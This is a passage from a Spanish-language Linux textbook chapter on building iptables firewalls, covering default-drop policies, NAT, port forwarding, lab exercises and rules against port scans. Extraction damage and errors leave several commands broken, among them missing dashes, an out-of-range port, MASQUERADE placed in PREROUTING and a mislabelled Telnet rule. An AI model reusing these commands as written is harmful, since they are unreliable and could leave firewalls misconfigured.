Si algo no funciona bien revise los logs de errores:
#
#
#
#

less
less
less
less

/var/log/mail
/var/log/mail.err
/var/log/mail.info
/var/log/messages

Para desactivar el Antispam y el Antivirus quite el signo comentarios # de las siguientes lneas:
# @bypass_spam_checks_maps = (1);
# @bypass_virus_checks_maps = (1);

Trucos:
El siguiente shell busca un patrn de spam o correo no deseado, por ejemplo capitaltours en
/usr/bin/buscarspam.sh
#!/bin/sh
cd /var/virusmails
for i in `ls`
do
# buscar 1 parametro
grep 'capitaltours' $i
if [ $? -eq 0 ]
then
echo $i
echo $i >> buscarspam.txt
fi
done
if [ -f buscarspam.txt ]
then
vi buscarspam.txt
else
echo "No existen parametros buscados"
fi

343

Captulo 14
Asegurando el perimetro de red
Firewalls

1.0

Firewall o cortafuegos

Un Firewall es un conjunto de limitaciones de acceso para hacer nuestros servidores ms seguros frente al
mundo exterior.
Una lista interesante de sitios web dedicados a firewall podra ser:
http://www.linux-firewall-tools.com/linux
http://www.securityfocus.com
http://www.securityportal.com
http://www.linuxfirewall.com
http://www.firewall.com
http://www.rootshell.com
http://www.freshmeat.net

Netfilter es una tcnica de firewall soportada por linux kernel 2.4.+, este mecanismo reemplazar a
ipchains.
Mucho del cdigo de Netfilter esta en el espacio de usuario y no a nivel de kernel, esto remueve complejidad
e introduce mas flexibilidad a la hora de configurar un servidor de tipo firewall.
El siguiente es el esquema utilizado en Linux:

344

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

Los paquetes que viajan a travs de la red ingresan por IN y salen por OUT, en el medio se desarrolla el
proceso de Firewall por medio de los filtros de paquetes:
INPUT/ENTRADA: Es el filtro de entrada a todos los paquetes al sistema. Controla que direcciones de red y
puertos lgicos permitir utilizar el servidor.
OUTPUT/SALIDA: Es el filtro de salida a todos los paquetes del sistema. Controla las direcciones de red y
puertos lgicos con los cuales habr de comunicarse el servidor.
FORWARD: En el caso de que el servidor Linux sea utilizado como gateway de nuestra red para ir a otras
redes por ejemplo Internet.
Este filtro controla que direcciones y puertos permitir que el servidor brinde servicios de router, este filtro
esta compuesto por dos subfiltros: PREROUTING y POSTROUTING muy utilizados para hacer NAT.
NAT significa Network Address Traslation y sirve para que usuarios de la LAN tengan acceso a Internet sin
necesidad de un proxy.

Este es el diagrama usado por el fabricante ASTARO que usa IPTABLES como tcnica de firewall
en los nuevos UTM europeos.

345

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

2.0

Configuracion del firewall

La configuracin del servidor Linux como un servidor de Firewall se realiza a travs del comando iptables.
El sitio principal del grupo de trabajo netfilter es http://netfilter.filewatcher.org/
Para poder utilizar este comando debe estar cargado en memoria principal el modulo de ip_tables, para
cargar el soporte a ip_tables se debe ejecutar el comando:

# modprobe ip_tables
Podemos verificar si el modulo ha sido cargado con el comando
# lsmod
El modulo ip_tables y el modulo ipchains son incompatibles entre si, por lo tanto en el caso que el modulo
"ipchains" haya sido cargado previamente, lo podremos eliminar con el comando "rmmod ipchains" y
posteriormente cargar el modulo ip_tables.

3.0

Estructura de un comando iptables

Ejemplo de un comando iptables: como habilitar correo por SMTP solo para la red 192.168.100.0 con
mascara 255.255.255.0.?
#iptables -A external -p tcp -s 192.168.100.0/24 --dport smtp -j ACCEPT
Se supone que el servicio smtp esta definido en /etc/services
Para entenderlo mejor se deben mirar las siguientes tablas:

346

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

Comandos
-A
-D
-F
-I
-L
-N
-P
-R
-X

para aplicar reglas en iptables, ej: # iptables P INPUT DROP


Adiciona regla a la lista
Borra una regla de la lista
Borra las reglas de una lista
Inserta regla a lista
Lista todas las reglas
Crea nueva regla en lista
Configura regla por defecto
Reemplaza una regla en lista de usuario
Borra una lista de usuario

Reglas que se digitan despus del comando adicional a iptables


-s
Aplica a paquetes que tengan la direccin fuente X
-d
Aplica a paquetes que tengan la direccin destino X
-i
Aplica solamente a esta interface de red
-p
Aplica al protocolo X
-j
-b
-y

4.0

Ejecute la poltica a continuacin descrita


Aplica a paquetes bidireccionales
Aplica a paquetes con el bit SYN activado y ACK, FIN no activados

Proteccin del servidor Linux:

El primer elemento activo de red a proteger es el servidor Linux. Los filtros a utilizar para controlar el acceso
al sistema son los declarados en INPUT y all debemos declarar las interfaces internas ( loopback lo ) y las
listas que controlaran el acceso.
No existe equipo mas seguro que aquel que esta desconectado de la red y apagado, pero dado que en estas
condiciones el equipo no seria utilizable, debemos buscar una forma para que el equipo este prendido y sea
seguro.

5.0

Regla de ORO"

Lo no explcitamente permitido deber ser prohibido, se debe partir negando todos los servicios y en forma
gradual ir definiendo cuales son los servicios que el servidor podr prestar.

Es por ello que se debe ejecutar "iptables -P INPUT DROP" como primera instruccin, de esta forma
inhabilitamos el acceso al sistema. Veamos algunas reglas interesantes:
#!/bin/sh

347

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

#
# Los modulos estan en /usr/include/linux/netfilter_ipv4
#
modprobe ip_conntrack
modprobe ip_conntrack_ftp
#modprobe ip_conntrack_core
#modprobe ip_conntrack_helper
#modprobe ip_conntrack_icmp
#modprobe ip_conntrack_protocol
#modprobe ip_conntrack_tcp
#modprobe ip_conntrack_tuple
# modprobe varios
#modprobe ip_nat
#modprobe ip_nat_core
#modprobe ip_nat_helper
#modprobe ip_nat_protocol
#modprobe ip_nat_rule
modprobe ip_queue
modprobe ip_tables
modprobe ipt_MARK
modprobe ipt_REJECT
modprobe ipt_TCPMSS
modprobe ipt_TOS
modprobe ipt_tos
modprobe ipt_limit
modprobe ipt_mac
modprobe ipt_mark
modprobe ipt_multiport
modprobe ipt_owner
modprobe ipt_state
modprobe ipt_tcpmss
# modprobe ip_conntrack_irc
modprobe ip_nat_ftp
modprobe ipt_LOG
modprobe ipt_MASQUERADE
# Habilita IP Dinamico cuando tengamos MODEM por DHCP
echo "1" > /proc/sys/net/ipv4/ip_dynaddr

# Limpia los canales

348

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

iptables
iptables
iptables
iptables
iptables

-F INPUT
-F FORWARD
-F OUTPUT
-F
-X

iptables -t nat -F
iptables -t nat -X
# La politica es: todo es prohibido hasta que se diga lo contrario
iptables -P INPUT
DROP
iptables -P OUTPUT
DROP
iptables -P FORWARD
DROP
# Se permite conectividad a la interface loopback, no es necesario el FORWARD en lo
iptables -A INPUT
-i
lo
-j ACCEPT
iptables -A OUTPUT
-o
lo
-j ACCEPT
# Se debe controlar que los paquetes pertenezcan a alguna sesin, no deben existir paquetes que no
pertenezcan a alguna sesin:
iptables A FORWARD m state --state ESTABLISHED,RELATED j ACCEPT
# *****************************************************
# DNS dentro del firewall = 53
# *****************************************************
iptables -A INPUT -p udp --sport 53
-j ACCEPT
iptables -A INPUT -p udp --dport 53
-j ACCEPT
# *****************************************************
# www dentro del firewall = 80
# *****************************************************
iptables -A INPUT -p tcp --dport 80
-j ACCEPT

# *****************************************************
# Evita el ping de la muerte
# *****************************************************
for type in echo-reply destination-unreachable source-quench time-exceeded parameter-problem; do
iptables -A INPUT --protocol icmp --icmp-type $type -j ACCEPT
done
# ************************************************************
# Permite PING de la muerte para pruebas de conectividad
# ************************************************************

349

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

#iptables -A INPUT --protocol icmp --icmp-type echo-request -j ACCEPT

# *****************************************************
# SMTP = 25, correo electronico dentro del firewall
# *****************************************************
iptables -A INPUT -p tcp --dport smtp
-j ACCEPT
# **************************************************************
# SMTPS = 465, correo electronico seguro dentro del firewall
# **************************************************************
iptables -A INPUT -p tcp --dport smtps
-j ACCEPT
# *****************************************************
# POP3 = 110, oficina de correos dentro del firewall
# *****************************************************
iptables -A INPUT -p tcp --dport pop3
-j ACCEPT
iptables -A INPUT -p udp --dport pop3
-j ACCEPT
# ************************************************************
# POP3 = 995, oficina de correos segura dentro del firewall
# ************************************************************
iptables -A INPUT -p tcp --dport pop3s
-j ACCEPT
# *****************************************************************
# IMAP = 143, oficina de correos version I y II dentro del firewall
# *****************************************************************
iptables -A INPUT -p tcp --dport imap
-j ACCEPT
# ******************************************************************
# IMAP-3 = 220, oficina de correos version III dentro del firewall
# ******************************************************************
#iptables -A INPUT -p tcp --dport imap3
-j ACCEPT
#iptables -A INPUT -p udp --dport imap3 -j ACCEPT
# ***********************************************************************
# IMAPS = 993, oficina de correos segura version IV dentro del firewall
# ***********************************************************************
iptables -A INPUT -p tcp --dport imaps
-j ACCEPT

# *****************************************************

350

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

# SSH = 22, Shell dentro del firewall


# *****************************************************
iptables -A INPUT -p tcp --dport ssh
-j ACCEPT
iptables -A INPUT -p udp --dport ssh
-j ACCEPT
# ************************************************************
# SSL = 443, https paginas web seguras dentro del firewall
# ************************************************************
iptables -A INPUT -p tcp --dport https
-j ACCEPT
Pasos a tener en cuenta en seguridad:

Deshabilite todos los servicios no utilizados revisando /etc/inetd.conf y /etc/xinetd./*


No permita que el usuario administrador root entre por el servicio telnet al sistema, para esto revise
/etc/securetty
Deshabilite que el usuario root pueda usar el sistema por ftp, para esto revise /etc/ftpusers y
/etc/ftpaccess
No permita que los usuarios diferentes de root usen un shell, en cambio utilice /bin/null
Revise que los IRQ no estn en conflicto
Actualice a la fecha los suplementos del sistema, no olvidar probarlos en un laboratorio para
asegurar que no presenta conflictos con el software licenciado
No permita que el usuario administrador sea el usuario que inicie los servicios como apache, ftp,
postfix u otro
No permita que los usuarios tengan permisos de administrador
Dimensione el area de swap en por lo menos 2GB
Instale portsentry para detectar intrusos en el servidor
Revise que las zonas DNS tengan inversa
Revise que las zonas o dominios del DNS tengan el mismo serial
No deje puertos abiertos que no utilice
Trate de que todos los servicios estn cifrados
Monitoree sus puertos con netstat, nmap y saint
Revise frecuentemente el sitio http://freshmeat.net
Use la consola de firewall Bastille en bastile-linux.sourceforge.net
Revise el sitio: http:www.earthlink.net
Instale en cada PC o en la RED un antispyware que contenga una base de datos de categoras
spyware
Evite que los usuarios naveguen en los sitios de spyware como: www.theserverside.com
www.funwebproducts.com
Nunca deje que su firewall sea el servidor DNS pues una vulnerabilidad en el servidor DNS dejara al
atacante dentro del firewall

351

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

6.0

Laboratorio:

Objetivo:

Configurar Netfilter/IPTABLE como servidor con las reglas bsicas para permitir nicamente los
servicios dns y web.
Configurar Netfilter/IPTABLE como cliente con las reglas bsicas para permitir nicamente los
servicios dns, web y telnet.

Prerrequisitos:

Se deben tener configurados y funcionando los servicios: DNS, Apache web Server y telnet.
Asegrese que el comando ping funcione entre los dos computadores cliente y servidor.
Prepare un cable cruzado para conectar los dos equipos por si no funciona la red
Cree un usuario en linux que se llame col
Se asume que la tarjeta de red eth0 es la tarjeta de red habilitada por defecto
Recuerde que el PC que acta como cliente no debe configurar un firewall pues el servidor firewall
es el PC de su compaero que acta como firewall.

NOTA: Recuerde que estos pasos solo se hacen en el PC que acta como servidor el cliente no debe hacer
estos pasos
Paso 1: Crear el directorio /etc/firewall
# mkdir /etc/firewall
Cmbiese al directorio de trabajo /etc/firewall
# cd /etc/firewall

Paso 2: Crear un shell de pruebas


# touch ip_tables.01
Modifique los permisos de ejecucin
# chmod +x ip_tables.01
Edite el archivo /etc/firewall/ip_tables.01 y adicione la lnea:
modprobe ip_tables
Guarde el archivo y ejecute el archivo de comandos con:
# sh /etc/firewall/ip_tables.01
Revise la lista de mdulos para ver si esta el mdulo ip_tables en memoria:
# lsmod
Haga ping al servidor local:
# ping localhost
Espere 5 segundos y detngalo con la secuencia de teclas CTRL C
Hasta ac el comando ping debe obtener respuesta
Pruebe una sesin telnet hacia el servidor local
# telnet localhost
Detngalo con la secuencia de teclas CTRL ]

352

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

Hasta ac el comando telnet debera obtener respuesta del servidor si usted habilito el servicio como lo
indican los prerrequisitos
Liste las reglas por default del firewall:
# iptables -L
Hasta este momento todos los servicios estn habilitados y no hay reglas de firewall activadas al digitar
iptables -L

Paso 3: Edite el archivo /etc/firewall/ip_tables.sh y adicione la lnea:


iptables F
iptables X

Paso 4: Edite el shell /etc/firewall/iptables.sh y adicione reglas para negar todos los servicios
# La politica es: todo es prohibido hasta que se diga lo contrario
iptables -P INPUT
iptables -P OUTPUT
iptables -P FORWARD

DROP
ACCEPT
ACCEPT

Guarde el archivo y ejecute el archivo de comandos como en el paso anterior:


# sh /etc/firewall/ip_tables.sh
Haga ping al servidor local:
# ping localhost
Espere 5 segundos, note que el servidor no responde, detngalo con la secuencia de teclas CTRL C
A que se debe que el ping no responda? Ser que el protocolo ICMP esta cerrado por el comando iptables P
INPUT DROP en un paso anterior?
Paso 5: Edite el archivo /etc/firewall/ip_tables.sh y adicione la lnea que habilite todos los servicios para la
tarjeta de red localhost
iptables -A INPUT -i lo -j ACCEPT
Guarde el archivo y ejecute el archivo de comandos o shell como en el paso anterior:
# sh /etc/firewall/ip_tables.sh
Haga ping al servidor local:
# ping localhost
Espere 5 segundos, note que el servidor ahora responde, detngalo con la secuencia de teclas CTRL C
Pruebe desde un segundo PC en la red haciendo ping al firewall, espere 5 segundos, note que el servidor no
responde para los PCs externos, detngalo con la secuencia de teclas CTRL C

Paso 6: Edite el archivo /etc/firewall/ip_tables.sh y adicione la lnea que habilite el protocolo ICMP:
iptables -A INPUT -p icmp -j ACCEPT
Guarde el archivo y ejecute el archivo de comandos:
Vuelva a probar desde un segundo PC en la red haciendo ping al firewall, espere 5 segundos, note que el
servidor responde para los PCs externos, detngalo con la secuencia de teclas CTRL C

353

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

Desde un browser pruebe navegando en el servidor firewall.


Se puede navegar?
No se debera navegar por que el comando iptables inicial hizo DROP sobre todos los puertos.

Paso 7: Edite el archivo /etc/firewall/ip_tables.sh y adicione al final de la ultima lnea, las lnea que habilitan
nicamente los servicios DNS y Web
# *****************************************************
# DNS = 53
# *****************************************************
iptables -A INPUT -p udp --sport 53
-j ACCEPT
iptables -A INPUT -p udp --dport 53
-j ACCEPT
# *****************************************************
# www = 80
# *****************************************************
iptables -A INPUT -p tcp --dport 80
-j ACCEPT
Guarde el archivo y ejecute el archivo de comandos
Pruebe desde un PC en la red navegando sobre el IP del servidor, note que ahora se puede navegar.

Paso 8: Edite el archivo /etc/firewall/ip_ables.sh y adicione la lnea que Habilite nicamente el servicio
telnet:
# *****************************************************
# Telnet = 23
# *****************************************************
iptables -A INPUT -p tcp --dport 23 -j ACCEPT
Pruebe haciendo un telnet desde el cliente al servidor.
Nota: No es posible establecer una sesin remota con el superusuario por seguridad, utilice cualquier usuario
previamente creado de preferencia el usuario col.
En este paso debera funcionar el servicio telnet que no es recomendable en la vida real.

Paso 9: Edite el archivo /etc/firewall/ip_tables.sh y adicione la lnea que habilite al Servidor para actuar
como cliente para cuando el usuario frente a la consola del firewall usa un browser, recuerde que los clientes
siempre abren puertos mayores a 1024:
iptables -A INPUT -p tcp --dport 1024:64536 j ACCEPT
iptables -A INPUT -p udp --dport 1024:64536 j ACCEPT
Pruebe navegando en Internet. Esto nunca se debe hacer en un firewall !

Cuestionamientos:

Que pasara si se adiciona la lnea iptables -A INPUT -i eth0 -j ACCEPT ?


Cul es el riesgo de permitir el trfico telnet en cambio de ssh?
Si en el paso 9 Servidor actuando como cliente no se abren los puertos 1024:64535 puede
navegar hacia servidores externos?

354

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

7.0

Limitando el acceso hacia Internet

Puede ser til limitar el trafico de nuestra empresa hacia Internet, por ejemplo evitar el acceso a sitios MP3,
www.playboy.com, www.macho.com, en general paginas no autorizadas, etc.
El filtro que maneja la salida de paquetes es OUTPUT.
Los sitios estarn indicados en otra lista de firewall y no dentro de la lista OUTPUT
# iptables P OUTPUT ACCEPT
Crear un nuevo canal de comunicaciones
#iptables -N extout
Redirecciono toda la salida hacia extout.
#iptables -A OUTPUT -j extout
Inhabilitar el acceso al servidor www.mp3.com (208.48.67.34)
#iptables -A extout -d 208.48.67.34 -j DROP
Inhabilitar la salida de informacin por el puerto 6547.
#iptables -A extout -p tcp --dport 6547.
#iptables -A extout -p udp --dport 6547

8.0

Ejemplo de reglas de acceso

Adems de poder crear las reglas es necesario realizar la administracin sobre algunas de ellas. A
continuacin mostraremos algunos ejemplos de administracin.
Eliminar todas las listas creadas por el usuario. Estas no incluyen INPUT, FORWARD y OUTPUT
#iptables -X

355

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

Eliminar la lista "external"definida por el usuario


#iptables -X external
Elminar el contenido de todas las listas.
#iptables -F
Listar todas las reglas.
#iptables -L
Eliminar la regla Nro 4 de la lista external
#iptables -D external 4
Reemplazar el contenido de la regla Nro 3 en la lista external
#iptables -R external 3 ........

9.0

Configuracion de reglas NAT

NAT cambia la direccin IP invalida de origen de un paquete de informacin por otra direccin IP valida
manteniendo un registro de los cambios realizados, con el fin de lograr los siguientes objetivos:

Reduccin de la utilizacin de las direcciones pblicas de Internet


Ocultamiento de las direcciones reales de los servidores
Esto es importante, ya que podemos tener una compaa accediendo a Internet a travs de una sola
direccin vlida, y que las computadoras de la red LAN de la compaa no sean visibles al resto del mundo,
brindando mayor seguridad.
NAT se compone de 2 listas:
PREROUTING: Se refiere a la modificacin del paquete de informacin antes de que el sistema realice el
procesamiento de ruteo del paquete de informacin.
POSTROUTING: Se refiere a la modificacin del paquete de informacin despus de que el sistema realizo el
procesamiento de ruteo del paquete de informacin.
Limpiar todas las reglas de NAT:
#iptables -t nat -F
Limpiar las reglas de NAT de la lista PREROUTING
#iptables -t nat -F PREROUTING
Listar reglas de NAT
#iptables -t nat -L

356

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

En el siguiente ejemplo configuraremos la red 192.168.100.0 para que se le haga NAT sobre el servidor cuya
direccin vlida de salida es 200.24.94.164

iptables -t nat -A POSTROUTING -j SNAT -s 192.168.100.0/24 --to 200.24.94.164


#******************************************************************
#
Nat - Permite a los PC de LAN salir a internet
#******************************************************************
# 200.24.94.164 = IP valido en internet, lo entrega el proveedor
# 192.168.100.0/24 = IP local con mascara 255.255.255.0
# 192.168.249.0/26 = IP local con mascara 255.255.255.192
# ******************************************************************
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.100.0/24 --to 200.24.94.162
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.249.0/26 --to 200.24.94.162
iptables -t nat -A POSTROUTING -j SNAT -s 132.148.160.0/24 --to 200.24.94.162
Estas reglas tienen un problema y es que el IP de la red local se cambia por el IP de la interface pblica y el
comando ping y telnet fallaran cuando se vaya hacia la WAN no hacia Internet.
En cambio se recomienda usar MASQUERADE por cada puerto para que no haya acceso total al exterior, es
decir debemos controlar cada puerto que se desea acceso total al exterior.
iptables -t nat -A POSTROUTING -s 192.168.100.0/24
iptables -t nat -A POSTROUTING -s 192.168.100.0/24
iptables -t nat -A POSTROUTING -s 192.168.100.0/24

-o eth0 -p tcp --dport 80 -j MASQUERADE


-o eth0 -p tcp --dport 443 -j MASQUERADE
-o eth0 -p tcp --dport 53 -j MASQUERADE

Para quitarle al firewall el NAT del puerto 80 digite:


iptables -t nat -A POSTROUTING -j SNAT -p tcp -s 192.168.100.0/24 --dport ! 80 --to 200.74.149.170
iptables -t nat -A POSTROUTING -j SNAT -p udp -s 192.168.100.0/24 --dport ! 80 --to 200.74.149.170
Pero notese que todos los puertos tendran NAT hacia el exterior, es decir un troyano tendra acceso hacia el
exterior.

10.0

Nat para colocar servidores detraz del firewall

En el caso de tener una sola direccin IP disponible pblica, y querer brindar distintos servicios sobre la
misma, lo podemos realizar haciendo la tarea inversa, es decir NAT hacia adentro de la empresa. Para ello
en nuestro laboratorio hemos creado 3 servidores (correo, Web y Database) que brindaran servicios. Para
ello la sintaxis de Iptables sera:

357

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

#
#
#
#

iptables
iptables
iptables
iptables

-t
-t
-t
-t

nat
nat
nat
nat

-A
-A
-A
-A

PREROUTING
PREROUTING
PREROUTING
PREROUTING

-p
-p
-p
-p

tcp
tcp
tcp
tcp

-d
-d
-d
-d

200.24.94.164/32
200.24.94.164/32
200.24.94.164/32
200.24.94.164/32

358

--dport
--dport
--dport
--dport

80 -j DNAT --to 192.168.100.1:80


25 -j DNAT --to 192.168.100.2:25
110 -j DNAT --to 192.168.100.2:110
657 -j DNAT --to 192.168.100.3:657

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

11.0

Configuracin ADSL

Una situacin muy comn hoy en da es la necesidad de conectar nuestro servidor a Internet a travs de
ADSL y seguir brindando la misma seguridad de siempre.
En este caso las direcciones IP asignadas a nuestra interfaz de conexin a Internet no ser esttica, sino
todo lo contrario, dinmica; resultando en que cada vez que nuestro servidor se conecta a Internet le sea
asignada una nueva direccin IP.

En este caso no podremos realizar NAT inverso, pero si enmascaramiento, en donde la direccin de salida de
nuestro servidor depende de la direccin asignada por el servidor DHCP de ADSL. La configuracin
resultante, en donde eth2 es la interfaz de conexin a ADSL y la red interna es 192.168.100.0:
# iptables -t nat -A PREROUTING -o eth2 -s 192.168.100.0/24 -d 0/0 -j MASQUERADE
En el caso de que deseemos especificar la interfaz de salida y de entrada en vez de las direcciones IP,
ejecutaremos:
# iptables -t nat -A POSTROUTING -o eth2 -d 0/0 -j MASQUERADE

12.0

Control de la conexin

Tambin es posible mantener un control sobre el estado de la conexin, es decir permitir o no el paso de un
paquete de informacin en funcin de su estado. Los estados que conforman esta caracterstica son 4:
NEW:
Un paquete mediante el cual se crea una nueva conexin
ESTABLISHED: Un paquete que pertenece a una conexin existente
RELATED: Un paquete que esta relacionado con una conexin, pero que no es parte de la conexin
existente, tal como un error ICMP (con el modulo de ftp cargado), un paquete estableciendo una
conexin ftp.
INVALID: Un paquete que no pudo ser identificado por alguna razn: entre estas se encuentra errores de
memoria y aquellos errores ICMP que no pertenezcan a una conexin existente.

A continuacin daremos un ejemplo de su utilizacin:


#iptables A INPUT --destination 192.168.100.254/32 -p tcp --dport 23 m state state ! ESTABLISHED -j
DROP
En este ejemplo cualquier conexin que sea distinta del estado ESTABLISHED, es decir que cualquier
conexin no originada desde el servidor, ser rechazada.
Otro ejemplo:
#iptables A INPUT --destination 192.168.100.254/32 -p tcp --dport 22 m state state NEW,
RELATED,ESTABLISHED -j ACCEPT

359

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

En este ejemplo permitimos el paso de cualquier conexin que se dirija al puerto 22 (ssh) brindando una
mayor proteccin de seguridad a nuestro servidor.

13.0

Redireccionamiento de puertos

Redireccionar el puerto http para que vaya a un servidor proxy y no pase por NAT, a esto se le llama
"Transparent Proxy" de SQUID que permite a los usuarios utilizar un servidor proxy sin darse cuenta de ello.
Es decir el servicio http no lo controla el NAT en cambio lo hace un software especialista en trafico web como
SQUID.
# iptables -t nat -A PREROUTING i eth1 -p tcp dport 80 -j REDIRECT -to-port 8080
Si no queremos depender de la tarjeta de red pero en cambio si del IP:
# iptables -t nat -A
200.24.94.164:8080

PREROUTING

-p

tcp

-s

192.168.100.0/24

--sport

80

-j

REDIRECT

--to

ALMACENAR CONFIGURACION DE SEGURIDAD:


Para almacenar la configuracin de seguridad para que al iniciar el sistema estos filtros se carguen en forma
automtica, debemos guardar todos los comandos que generamos con "iptables" en un archivo con el
nombre "S99firewall" y ubicarlo en /etc/init.d/rc3.d.
La mejor recomendacin es crear una lista con los comandos de firewall y colocarlos en el directorio
/etc/firewall/mis_reglas y llamarlas desde /etc/init.d/rc3.d/S99firewall as:
#!/bin/bash
sh /etc/firewall/perfil_de_seguridad

360

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

Habilitar IP Forwarding.
El enrutamiento debe estar activado antes de que el firewall aplique sus reglas para esto edite el archivo
/etc/sysconfig/network y adicione al final la variable:
IPFORWARDING=yes, Al reiniciar este cargara en forma automtica, para hacerlo manualmente digite:
# echo 1 > /proc/sys/net/ipv4/ip_forward
Para reiniciar el sistema digite #shutdown y g0 i6.

14.0

Laboratorio:

Objetivo:
Configurar un firewall con dos interfaces de red y hacer NAT reverso hacia tres servidores detrs del
firewall.

Prerrequisitos:

Configurar el cliente en la zona DMZ con el IP 200.91.221.201 mascara de red 255.255.255.248.


Configurar el firewall con los IPs: DMZ, tarjeta de red eth0 asignar el ip 200.91.221.202, para la
tarjeta de red eth1 de la Zona militarizada MZ el ip 172.20.8.254
Configurar en el firewall el dns
Configurar el servidor web en la zona MZ con el ip 172.20.8.45
Configurar el servidor ftp en la zona MZ con el ip 172.20.8.38
Configurar el servidor SSH en la zona MZ con el ip 172.20.8.40
Cables cruzados, cables UPT y HUB.
Pruebe conectividad con el comando ping hacia los servidores

Paso 1: Construya el firewall bsico


# Limpiar reglas
iptables F
iptables X
# La politica es: todo es prohibido hasta que se diga lo contrario
iptables -P INPUT
DROP
iptables -P OUTPUT
ACCEPT
iptables -P FORWARD
ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -p icmp -j ACCEPT
# *****************************************************
# DNS = 53
# *****************************************************
iptables -A INPUT -p udp --sport 53
-j ACCEPT
iptables -A INPUT -p udp --dport 53
-j ACCEPT
# *****************************************************
# www = 80
# *****************************************************
iptables -A INPUT -p tcp --dport 80
-j ACCEPT
# *****************************************************
# Telnet = 23
# *****************************************************
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
Haga pruebas de conectividad.

Paso 2: Construya las reglas de NAT reverso


# NAT Reverso para el servidor web

361

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

iptables -t nat -A PREROUTING -p tcp -d


# NAT Reverso para el servidor ftp
iptables -t nat -A PREROUTING -p tcp -d
iptables -t nat -A PREROUTING -p tcp -d
# NAT Reverso para el servidor telnet
iptables -t nat -A PREROUTING -p tcp -d

200.91.221.202/32 --dport 80 -j DNAT --to 172.20.8.45:80


200.91.221.202/32 --dport 20 -j DNAT --to 172.20.8.38:20
200.91.221.202/32 --dport 21 -j DNAT --to 172.20.8.38:21
200.91.221.202/32 --dport 23 -j DNAT --to 172.20.8.40:23

Cuestionamientos:

Que pasara si no se adiciona la lnea ftp

Que pasara si el dns no esta en el firewall ?

Que pasa si se adicionan las siguientes lneas: iptables -A INPUT -p tcp --dport 1024:64536 j
ACCEPT, iptables -A INPUT -p udp --dport 1024:64536 j ACCEPT

362

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

15.0

Probando el firewall

Existen muchos programas o ayudas para probar un Firewall entre los mas conocidos estn: NMAP, COPS y
SATAN (SAINT es una nueva versin). Estos programas hacen bsquedas sobre los puertos UDP y TCP para
ver que clase de actividad hay sobre esos puertos y as determinan que clase de vulnerabilidad hay conocida
dependiendo del servicio de red que prestan esos puertos.
Uno de los mas poderosos scanners es NMAP dado que es muy usado por los crackers. Otro bastante famoso
es Nessus pues provee informacin detallada sobre que servicios estn corriendo, que vulnerabilidad hay y
como se pude solucionar la vulnerabilidad en mencin.

Portsentry monitorea puertos y es famoso por que puede generar reglas de tipo ipchains para negar el
acceso a una fuente en particular, su direccin web es http://www.psionic.com/abacus/portsentry.
Una herramienta muy conocida a nivel de comando linux para ver que puertos manejan que servicios es #
netstat a A inet p.
Se recomienda mirar http://www.ciac.org para una lista completa de herramientas para pruebas de
seguridad. El sitio se llama US DOE CIAC United States Department of Energy, Computer incident Advisory
Capability.

363

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

16.0

Limitar la exploracin de puertos

Puede ser til limitar el trafico que generan los atacantes para averiguar que puertos tiene el firewall abierto,
con el comando nmap sV P0 IP del firewall el atacante puede saber que servicios y que versin de
servicios esta prestando el firewall.
Para proteger los servidores contra ataques de Syn-Flooding, limitaremos las peticiones de conexin
dirigidas hacia cada uno de los servidores que estn detrs del firewall a 2 por segundo. La regla es la
siguiente:
# ****************************************************************
# Proteccin contra Syn-Flooding scan a 2 por segundo
# ****************************************************************
iptables -A INPUT -p tcp --syn -m limit --limit 2/s -j ACCEPT
# ****************************************************************
# Proteccin contra la exploracin FIN y Xmas-tree Scan
# ****************************************************************
iptables -A INPUT -p tcp --tcp-flags ALL PSH,FIN,URG -j DROP
# ****************************************************************
# Proteccin contra la exploracin Null Scan
# ****************************************************************
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP

17.0

Interface grafica para construir las reglas

FwBuilder
Si bien es importante conocer los comandos de iptables en el caso de una instalacin, a veces es ms
cmodo poder configurar y administrar el sistema a travs de una interfaz grafica. En este caso
analizaremos el programa fwbuilder que a travs de una interfaz KDE nos permitir configurar las reglas de
firewall que protegern nuestro sitio contra accesos externos. El paquete fwbuilder puede ser obtenido de
ftp://ftp2.lacositarica.com/pub/soss/updates/RPMS y se compone de los siguientes paquetes
libfwbuilder-0.10.4
fwbuilder-1.0.0
fwbuilder-iptables-1.0.0
Los siguientes paquetes a su vez dependen del siguiente software
glib-1.2.8
glibc-2.2.4
glibc-devel
gtk-1.2.8
gtk-devel
gtkmm-1.2.7
gtkmm-devel
libstdc++-2.10
libsigc++-1.0.3
libxml-2.4.4
libxslt-1.0.4
libfwbuilder-0.10.4
Todos estos paquetes se instalan en el momento de instalar Lacositarica OLS 311 con la opcin
Todos los paquetes. Para encontrar ms informacin al respecto, se puede acceder al sitio Web de
fwbuilder en http://www.fwbuilder.org http://freshmeat.net/projects/fwbuilder .
Los paquetes de software de fwbuilder tienen formato RPM y los instalaremos de la siguiente
manera.
rpm i libfwbuilder-0.10.4.i386.rpm

364

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

Una vez instalados todos los paquetes de software, desde una interfaz KDE abriremos una ventana
de shell y ejecutaremos fwbuilder, obteniendo la siguiente interfaz.

Configuracin del sistema


Configuracin
del usuario

Clasificacin
de objetos

Objetos

Figura 4
